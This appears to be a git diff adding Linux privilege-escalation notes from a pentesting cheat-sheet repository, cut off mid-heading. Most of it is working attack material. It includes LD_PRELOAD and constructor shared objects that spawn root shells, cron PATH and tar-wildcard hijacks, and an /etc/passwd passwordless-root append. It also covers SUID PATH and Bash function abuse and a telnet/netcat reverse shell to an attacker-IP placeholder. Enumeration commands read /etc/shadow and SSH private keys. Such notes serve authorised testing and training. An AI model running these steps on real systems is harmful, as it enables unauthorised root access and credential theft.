+ $ sudo -l + Matching Defaults entries for user on this host: + env_reset, env_keep+=LD_PRELOAD + +Compile a shared object (.so) file: + +.. code-block:: none + + #include + #include + #include + + void _init() { + unsetenv("LD_PRELOAD"); + setresuid(0,0,0); + setresgid(0,0,0); + system("/bin/bash"); + } + +.. code-block:: none + + $ gcc -fPIC -shared -nostartfiles -o preload.so preload.c + +Set the environment variable as part of the sudo command. The full path to the .so file needs to be used. Your user must be able to run the command via sudo. + +.. code-block:: none + + $ sudo LD_PRELOAD=/full/path/tp/preload.so apache2 + # + +Cron Jobs +========= + +Path +---- + +If PATH variable defined inside a crontab, and one of the paths is writable, and the cron job doesn't refer to an absolute path, we can exploit. + +.. code-block:: none + + $ cat /etc/crontab + SHELL=/bin/sh + PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin + + * * * * * root overwrite.sh + +In the example above, /home/user is in the PATH and our user can write to it. + +Create a /home/user/overwrite.sh script which makes a SUID/SGID bit version of bash: + +.. code-block:: none + + #!/bin/bash + cp /bin/bash /tmp/rootbash + chmod +s /tmp/rootbash + +Make the script executable: + +.. code-block:: none + + $ chmod +x /home/user/overwrite.sh + +Now wait for the cron job to execute. When it does, execute the /tmp/rootbash binary and get a root shell. Remember to use the -p command line option to preserve the SUID/SGID: + +.. code-block:: none + + $ /tmp/rootbash -p + # + +Wildcards +--------- + +If the cron job script contains bash wildcards that reference files, and we can create files in the relevant directory, it may be possible to create files with filenames that can be used as command line flags. + +.. code-block:: none + + $ cat /etc/crontab + ... + * * * * * root /usr/local/bin/compress.sh + +.. code-block:: none + + $ cat /usr/local/bin/compress.sh + #!/bin/sh + cd /home/user + tar czf /tmp/backup.tar.gz * + +The tar executable has a checkpoint feature which displays progress messages every specific number of records. It also allows users to define an action that is executed during the checkpoint. + +Create a script (runme.sh) which makes a SUID/SGID bit version of bash: + +.. code-block:: none + + #!/bin/bash + cp /bin/bash /tmp/rootbash + chmod +s /tmp/rootbash + +Make the script executable: + +.. code-block:: none + + $ chmod +x runme.sh + +Create two files in the directory that the tar command is run in, with the filename set to the full command line options: + +.. code-block:: none + + touch /home/user/--checkpoint=1 + touch /home/user/--checkpoint-action=exec=sh\ runme.sh + +Now wait for the cron job to execute. When it does, execute the /tmp/rootbash binary and get a root shell. Remember to use the -p command line option to preserve the SUID/SGID: + +.. code-block:: none + + $ /tmp/rootbash -p + # + +File Overwrite +-------------- + +If a cron job script is writable, we can modify it and run commands as root: + +.. code-block:: none + + $ cat /etc/crontab + ... + * * * * * root overwrite.sh + +.. code-block:: none + + $ locate overwrite.sh + /usr/local/bin/overwrite.sh + $ ls -l /usr/local/bin/overwrite.sh + -rwxr--rw- 1 root staff 40 May 13 2017 /usr/local/bin/overwrite.sh + +The /usr/local/bin/overwrite.sh file is world-writable. + +Overwrite the /usr/local/bin/overwrite.sh script with one that makes a SUID/SGID bit version of bash: + +.. code-block:: none + + #!/bin/bash + cp /bin/bash /tmp/rootbash + chmod +s /tmp/rootbash + +Now wait for the cron job to execute. When it does, execute the /tmp/rootbash binary and get a root shell. Remember to use the -p command line option to preserve the SUID/SGID: + +.. code-block:: none + + $ /tmp/rootbash -p + # + +File Permissions +================ + +Writable /etc/passwd +-------------------- + +On some \*nix distributions, if /etc/passwd is writable, we can add a new root user with no password, since the only thing that matters is the uid being 0: + +.. code-block:: none + + $ echo newroot::0:0:root:/root:/bin/bash >> /etc/passwd + +Now use su to switch user: + +.. code-block:: none + + $ su newroot + # + +SUID Binaries +------------- + +Shared Object Injection +^^^^^^^^^^^^^^^^^^^^^^^ + +Shared Objects (.so) are the \*nix equivalent of Windows DLLs. If a program references a shared object that we can write to (even if it doesn't exist) we can run commands with the user context of the application. + +Find SUID/SGID binaries: + +.. code-block:: none + + $ find / -type f -a \( -perm -u+s -o -perm -u+s \) -exec ls -l {} \; 2> /dev/null + -rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry + -rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent + -rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh + -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo + -rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write + -rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab + -rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp + -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit + -rwxr-sr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage + -rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd + -rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd + -rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn + -rwxr-sr-x 1 root tty 12000 Jan 25 2011 /usr/bin/wall + -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so + -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env + -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2 + -rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3 + -rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmcrypt-get-device + -rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign + -rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown + -rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6 + -rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping + -rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount + -rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su + -rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount + -rwsr-sr-x 1 root root 16664 Feb 9 13:43 /tmp/rootsh + -rwxr-sr-x 1 root shadow 31864 Oct 17 2011 /sbin/unix_chkpwd + -rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs + +Use strace to find references to shared objects: + +.. code-block:: none + + $ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file" + access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory) + access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) + access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) + open("/etc/ld.so.cache", O_RDONLY) = 3 + access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) + open("/lib/libdl.so.2", O_RDONLY) = 3 + access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) + open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3 + access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) + open("/lib/libm.so.6", O_RDONLY) = 3 + access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) + open("/lib/libgcc_s.so.1", O_RDONLY) = 3 + access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) + open("/lib/libc.so.6", O_RDONLY) = 3 + open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory) + +The shared object /home/user/.config/libcalc.so is referenced, but it doesn't exist. Luckily it is in a writable directory. + +Create a C program (libcalc.c) and compile it to a shared object: + +.. code-block:: none + + #include + #include + + static void inject() __attribute__((constructor)); + void inject() { + setresuid(0,0,0); + setresgid(0,0,0); + system("/bin/bash"); + } + +.. code-block:: none + + $ gcc -shared -fPIC -o libcalc.so libcalc.c + +Move the libcalc.so shared object to the path referenced by the SUID binary: + +.. code-block:: none + + $ mkdir -p /home/user/.config + $ cp libcalc.so /home/user/.config/libcalc.so + +Now run the SUID binary, it should give you a root shell immediately: + +.. code-block:: none + + $ suid-so + Calculating something, please wait... + root@debian:~# + +Symlink +^^^^^^^ + +TODO + +Environment Variables - Relative Paths +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +Find SUID/SGID binaries: + +.. code-block:: none + + $ find / -type f -a \( -perm -u+s -o -perm -u+s \) -exec ls -l {} \; 2> /dev/null + -rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry + -rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent + -rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh + -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo + -rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write + -rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab + -rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp + -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit + -rwxr-sr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage + -rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd + -rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd + -rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn + -rwxr-sr-x 1 root tty 12000 Jan 25 2011 /usr/bin/wall + -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so + -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env + -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2 + -rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3 + -rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmcrypt-get-device + -rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign + -rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown + -rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6 + -rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping + -rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount + -rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su + -rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount + -rwxr-sr-x 1 root shadow 31864 Oct 17 2011 /sbin/unix_chkpwd + -rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs + +Use strings to find any strings in the executable, especially system commands: + +.. code-block:: none + + $ strings /usr/local/bin/suid-env + /lib64/ld-linux-x86-64.so.2 + 5q;Xq + __gmon_start__ + libc.so.6 + setresgid + setresuid + system + __libc_start_main + GLIBC_2.2.5 + fff. + fffff. + l$ L + t$(L + |$0H + service apache2 start + +The "service" command doesn't have an absolute path. When it is called, \*nix will try to find it by traversing the PATH environment variable. We can modify the PATH variable and create a malicious version of the service binary which will spawn a root shell when it is run. + +First create a C program (service.c): + +.. code-block:: none + + int main() { + setresuid(0,0,0); + setresgid(0,0,0); + system("/bin/bash"); + } + +Compile it to our malicious binary: + +.. code-block:: none + + $ gcc -o /tmp/service service.c + +Add /tmp to the start of the PATH environment variable and export it: + +.. code-block:: none + + $ export PATH=/tmp:$PATH + +Now run the original SUID/SGID binary. A root shell should spawn: + +.. code-block:: none + + $ /usr/local/bin/suid-env + # + +Environment Variables - Absolute Paths +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +Find SUID/SGID binaries: + +.. code-block:: none + + $ find / -type f -a \( -perm -u+s -o -perm -u+s \) -exec ls -l {} \; 2> /dev/null + -rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry + -rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent + -rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh + -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo + -rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write + -rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab + -rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp + -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit + -rwxr-sr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage + -rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd + -rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd + -rwsr-xr-x 1 root root 39856 Feb 15 2011 /usr/bin/chfn + -rwxr-sr-x 1 root tty 12000 Jan 25 2011 /usr/bin/wall + -rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so + -rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env + -rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2 + -rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3 + -rwsr-xr-x 1 root root 6776 Dec 19 2010 /usr/lib/eject/dmcrypt-get-device + -rwsr-xr-x 1 root root 212128 Apr 2 2014 /usr/lib/openssh/ssh-keysign + -rwsr-xr-x 1 root root 10592 Feb 15 2016 /usr/lib/pt_chown + -rwsr-xr-x 1 root root 36640 Oct 14 2010 /bin/ping6 + -rwsr-xr-x 1 root root 34248 Oct 14 2010 /bin/ping + -rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount + -rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su + -rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount + -rwxr-sr-x 1 root shadow 31864 Oct 17 2011 /sbin/unix_chkpwd + -rwsr-xr-x 1 root root 94992 Dec 13 2014 /sbin/mount.nfs + +Use strings to find any strings in the executable, especially system commands: + +.. code-block:: none + + $ strings /usr/local/bin/suid-env2 + /lib64/ld-linux-x86-64.so.2 + __gmon_start__ + libc.so.6 + setresgid + setresuid + system + __libc_start_main + GLIBC_2.2.5 + fff. + fffff. + l$ L + t$(L + |$0H + /usr/sbin/service apache2 start + +The /usr/sbin/service command seems to be interesting, however it has an absolute path and cannot be edited. + +Some versions of Bash (<4.2-048) and Dash let you define functions with the same name as an absolute path. These then take precedent above the actual executable themselves. + +Define a bash function "/usr/sbin/service" that creates an SUID/SGID version of bash: + +.. code-block:: none + + $ function /usr/sbin/service() { cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash && /tmp/rootbash -p;} + +Export the new function: + +.. code-block:: none + + $ export -f /usr/sbin/service + +Now run the original SUID/SGID binary. A root shell should spawn: + +.. code-block:: none + + $ /usr/local/bin/suid-env2 + # + +Bash also supports a script debugging mode, and uses the PS4 environment variable to define a prompt for the debugging mode. + +We can get an instance root shell: + +.. code-block:: none + + env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash && chown root:root /tmp/rootbash && chmod +s /tmp/rootbash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/rootbash -p' + +Startup Scripts +--------------- + +Startup scripts are stored under /etc/init.d, and are usually run with elevated privileges. + +Find world-writable startup scripts: + +.. code-block:: none + + $ find /etc/init.d -perm -o+w -type f -exec ls -l {} \; 2>/dev/null + -rwxr-xrwx 1 root root 801 May 14 2017 /etc/init.d/rc.local + +Edit the script and add some code that creates an SUID/SGID bash shell: + +.. code-block:: none + + cp /bin/bash /tmp/rootbash + chown root:root /tmp/rootbash + chmod +s /tmp/rootbash + +Now restart the remote host, and once the host is restarted, spawn a root shell: + +.. code-block:: none + + $ /tmp/rootbash -p + # + +Configuration Files +------------------- + +Configuration files are usually stored in /etc. + +Check writable files to see if we can introduce misconfigurations (e.g. if /etc/exports is writable, we can define NFS shares with root squashing turned off). diff --git a/privilege-escalation/linux/linux.rst b/privilege-escalation/linux/linux.rst new file mode 100644 index 0000000..784f0c1 --- /dev/null +++ b/privilege-escalation/linux/linux.rst @@ -0,0 +1,646 @@ +########################## +Linux Privilege Escalation +########################## + +* https://github.com/mubix/post-exploitation +* https://github.com/spencerdodd/kernelpop +* https://github.com/SecWiki/linux-kernel-exploits +* https://www.google.com/search?q=kernel+exploits +* https://github.com/NullArray/RootHelper +* https://greysec.net/showthread.php?tid=1355 +* https://github.com/DominicBreuker/pspy +* https://touhidshaikh.com/blog/?p=790 +* http://blog.securelayer7.net/abusing-sudo-advance-linux-privilege-escalation/ +* https://gtfobins.github.io/ +* https://guif.re/linuxeop +* https://github.com/sagishahar/lpeworkshop +* https://github.com/codingo/OSCP-2 +* https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/ +* https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/ +* https://docs.ansible.com/ansible/latest/user_guide/become.html +* https://payatu.com/guide-linux-privilege-escalation/ +* https://github.com/Arrexel/phpbash + +Quick Wins +========== + +* OS or Kernel Exploits. Use Google and/or :code:`searchsploit` in conjuction with the OS Version (e.g. Ubuntu 14.04) and Linux Kernel version (e.g. Linux Kernel 3.2.0) to find exploits. In addition, just searching "Linux Kernel Priv Esc" may less version specific exploits. +* Check for any sudo rights your user has using :code:`sudo -l`. Also check for any sudo version vulnerabilities. See if pkexec is available. +* Enumerate cron jobs for all users and look for weak permissions on scripts, writable paths, and the use of exploitable commands within the script. +* Search for weak file permissions in general, including: + * Writable system files (e.g. /etc/passwd, /etc/shadow, etc.) + * SUID/SGID binaries. + * Writable files which are getting run by the root user. +* With any SUID/SGID binaries: + * Look for references to missing shared objects. + * Search for strings in the executable, especially relative command paths. + * If absolute command paths are used, check the version of Bash/Dash to see if we can set absolute function names. + +Information Gathering +===================== + +Automation +---------- + +Run any number of the following: + +| linuxprivchecker.py +| upc.sh (unix-privesc-check) +| `LinEnum.sh `__ +| linux-exploit-suggester.sh +| https://github.com/initstring/uptux +| https://github.com/NullArray/RootHelper + +https://github.com/mzet-/linux-exploit-suggester/network + +Operating System +---------------- + +**What's the distribution type? What version?** + +.. code-block:: bash + + cat /etc/issue + cat /etc/*-release + cat /etc/lsb-release # Debian based + cat /etc/redhat-release # Redhat based + +**What's the kernel version? Is it 64-bit?** + +.. code-block:: bash + + cat /proc/version + uname -a + uname -mrs + rpm -q kernel + dmesg | grep Linux + ls /boot | grep vmlinuz- + +**What can be learnt from the environmental variables?** + +.. code-block:: bash + + cat /etc/profile + cat /etc/bashrc + cat ~/.bash_profile + cat ~/.bashrc + cat ~/.bash_logout + env + set + +**Is there a printer?** + +.. code-block:: bash + + lpstat -a + +Applications & Services +----------------------- + +**What services are running? Which service has which user privilege?** + +.. code-block:: bash + + ps aux + ps -ef + top + cat /etc/services + +**Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!** + +.. code-block:: bash + + ps aux | grep root + ps -ef | grep root + +**What applications are installed? What version are they? Are they currently running?** + +.. code-block:: bash + + ls -alh /usr/bin/ + ls -alh /sbin/ + dpkg -l + rpm -qa + ls -alh /var/cache/apt/archivesO + ls -alh /var/cache/yum/ + +**Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?** + +.. code-block:: bash + + cat /etc/syslog.conf + cat /etc/chttp.conf + cat /etc/lighttpd.conf + cat /etc/cups/cupsd.conf + cat /etc/inetd.conf + cat /etc/apache2/apache2.conf + cat /etc/my.conf + cat /etc/httpd/conf/httpd.conf + cat /opt/lampp/etc/httpd.conf + ls -aRl /etc/ | awk '$1 ~ /^.*r.*/' + +**What jobs are scheduled?** + +.. code-block:: bash + + crontab -l + ls -alh /var/spool/cron + ls -al /etc/ | grep cron + ls -al /etc/cron* + cat /etc/cron* + cat /etc/at.allow + cat /etc/at.deny + cat /etc/cron.allow + cat /etc/cron.deny + cat /etc/crontab + cat /etc/anacrontab + cat /var/spool/cron/crontabs/root + +**Any plain text usernames and/or passwords?** + +.. code-block:: bash + + grep -i user [filename] + grep -i pass [filename] + grep -C 5 "password" [filename] + find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla + +Communications & Networking +--------------------------- + +**What NIC(s) does the system have? Is it connected to another network?** + +.. code-block:: bash + + /sbin/ifconfig -a + cat /etc/network/interfaces + cat /etc/sysconfig/network + +**What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?** + +.. code-block:: bash + + cat /etc/resolv.conf + cat /etc/sysconfig/network + cat /etc/networks + iptables -L + hostname + dnsdomainname + +**What other users & hosts are communicating with the system?** + +.. code-block:: bash + + lsof -i + lsof -i :80 + grep 80 /etc/services + netstat -antup + netstat -antpx + netstat -tulpn + chkconfig --list + chkconfig --list | grep 3:on + last + w + +**Whats cached? IP and/or MAC addresses** + +.. code-block:: bash + + arp -e + route + /sbin/route -nee + +**Is packet sniffing possible? What can be seen? Listen to live traffic** + +.. code-block:: bash + + tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] + tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21 + +**Have you got a shell? Can you interact with the system?** + +.. code-block:: bash + + nc -lvp 4444 # Attacker. Input (Commands) + nc -lvp 4445 # Attacker. Ouput (Results) + telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP! + +Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ + +**Is port forwarding possible? Redirect and interact with traffic from another view** + +Note: http://www.boutell.com/rinetd/ + +Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch + +Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip + +Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] + +.. code-block:: bash + + FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 + +Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] + +.. code-block:: bash + + ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port + ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port + +Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe + +.. code-block:: bash + + mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe # Port Relay + mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) + mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080) + +**Is tunnelling possible? Send commands locally, remotely** + +.. code-block:: bash + + ssh -D 127.0.0.1:9050 -N [username]@[ip] + proxychains ifconfig + +Confidential Information & Users +-------------------------------- + +**Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?** + +.. code-block:: bash + + id + who + w + last + cat /etc/passwd | cut -d: -f1 # List of users + grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users + awk -F: '($3 == "0") {print}' /etc/passwd # List of super users + cat /etc/sudoers + sudo -l + +**What sensitive files can be found?** + +.. code-block:: bash + + cat /etc/passwd + cat /etc/group + cat /etc/shadow + ls -alh /var/mail/ + +**Anything "interesting" in the home directorie(s)? If it's possible to access** + +.. code-block:: bash + + ls -ahlR /root/ + ls -ahlR /home/ + +**Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords** + +.. code-block:: bash + + cat /var/apache2/config.inc + cat /var/lib/mysql/mysql/user.MYD + cat /root/anaconda-ks.cfg + +**What has the user being doing? Is there any password in plain text? What have they been edting?** + +.. code-block:: bash + + cat ~/.bash_history + cat ~/.nano_history + cat ~/.atftp_history + cat ~/.mysql_history + cat ~/.php_history + +**What user information can be found?** + +.. code-block:: bash + + cat ~/.bashrc + cat ~/.profile + cat /var/mail/root + cat /var/spool/mail/root + +**Can private-key information be found?** + +.. code-block:: bash + + cat ~/.ssh/authorized_keys + cat ~/.ssh/identity.pub + cat ~/.ssh/identity + cat ~/.ssh/id_rsa.pub + cat ~/.ssh/id_rsa + cat ~/.ssh/id_dsa.pub + cat ~/.ssh/id_dsa + cat /etc/ssh/ssh_config + cat /etc/ssh/sshd_config + cat /etc/ssh/ssh_host_dsa_key.pub + cat /etc/ssh/ssh_host_dsa_key + cat /etc/ssh/ssh_host_rsa_key.pub + cat /etc/ssh/ssh_host_rsa_key + cat /etc/ssh/ssh_host_key.pub + cat /etc/ssh/ssh_host_key + +File Systems +------------ + +**Which configuration files can be written in /etc/? Able to reconfigure a service?** + +.. code-block:: bash + + ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone + ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner + ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group + ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other + + find /etc/ -readable -type f 2>/dev/null # Anyone + find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone + +**What can be found in /var/ ?** + +.. code-block:: bash + + ls -alh /var/log + ls -alh /var/mail + ls -alh /var/spool + ls -alh /var/spool/lpd + ls -alh /var/lib/pgsql + ls -alh /var/lib/mysql + cat /var/lib/dhcp3/dhclient.leases + +**Any settings/files (hidden) on website? Any settings file with database information?** + +.. code-block:: bash + + ls -alhR /var/www/ + ls -alhR /srv/www/htdocs/ + ls -alhR /usr/local/www/apache22/data/ + ls -alhR /opt/lampp/htdocs/ + ls -alhR /var/www/html/ + +**Is there anything in the log file(s) (Could help with "Local File Includes"!)** + +.. code-block:: bash + + cat /etc/httpd/logs/access_log + cat /etc/httpd/logs/access.log + cat /etc/httpd/logs/error_log + cat /etc/httpd/logs/error.log + cat /var/log/apache2/access_log + cat /var/log/apache2/access.log + cat /var/log/apache2/error_log + cat /var/log/apache2/error.log + cat /var/log/apache/access_log + cat /var/log/apache/access.log + cat /var/log/auth.log + cat /var/log/chttp.log + cat /var/log/cups/error_log + cat /var/log/dpkg.log + cat /var/log/faillog + cat /var/log/httpd/access_log + cat /var/log/httpd/access.log + cat /var/log/httpd/error_log + cat /var/log/httpd/error.log + cat /var/log/lastlog + cat /var/log/lighttpd/access.log + cat /var/log/lighttpd/error.log + cat /var/log/lighttpd/lighttpd.access.log + cat /var/log/lighttpd/lighttpd.error.log + cat /var/log/messages + cat /var/log/secure + cat /var/log/syslog + cat /var/log/wtmp + cat /var/log/xferlog + cat /var/log/yum.log + cat /var/run/utmp + cat /var/webmin/miniserv.log + cat /var/www/logs/access_log + cat /var/www/logs/access.log + ls -alh /var/lib/dhcp3/ + ls -alh /var/log/postgresql/ + ls -alh /var/log/proftpd/ + ls -alh /var/log/samba/ + +Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp + +Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/ + +**If commands are limited, you break out of the "jail" shell?** + +.. code-block:: bash + + python -c 'import pty;pty.spawn("/bin/bash")' + echo os.system('/bin/bash') + /bin/sh -i + +**How are file-systems mounted?** + +.. code-block:: bash + + mount + df -h + +**Are there any unmounted file-systems?** + +.. code-block:: bash + + cat /etc/fstab + +**What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID** + +.. code-block:: bash + + find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. + find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. + find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. + + find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID + for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) + + # find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) + find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null + +**Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm** + +.. code-block:: bash + + find / -writable -type d 2>/dev/null # world-writeable folders + find / -perm -222 -type d 2>/dev/null # world-writeable folders + find / -perm -o w -type d 2>/dev/null # world-writeable folders + + find / -perm -o x -type d 2>/dev/null # world-executable folders + + find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders + +**Any "problem" files? Word-writeable, "nobody" files** + +.. code-block:: bash + + find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files + find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files + +**What files can our user specifically write to?** + +.. code-block:: bash + + groups | cut -d' ' -f3- | tr ' ' '\n' | while read user; do echo $user; find / -group $user -perm -g=w -exec ls -l {} \; 2> /dev/null; done # Find files which our user groups have write access to. + find / -user `whoami` # Find files owned by our user. + +Preparation & Finding Exploit Code +---------------------------------- + +**What development tools/languages are installed/supported?** + +.. code-block:: bash + + find / -name perl* + find / -name python* + find / -name gcc* + find / -name cc + +**How can files be uploaded?** + +.. code-block:: bash + + find / -name wget + find / -name nc* + find / -name netcat* + find / -name tftp* + find / -name ftp + +**Finding exploit code** + +http://www.exploit-db.com + +http://1337day.com + +http://www.securiteam.com + +http://www.securityfocus.com + +http://www.exploitsearch.net + +http://metasploit.com/modules/ + +http://securityreason.com + +http://seclists.org/fulldisclosure/ + +http://www.google.com + +**Finding more information regarding the exploit** + +http://www.cvedetails.com +http://packetstormsecurity.org/files/cve/[CVE] + +http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE] + +http://www.vulnview.com/cve-details.php?cvename=[CVE] + +**(Quick) "Common" exploits. 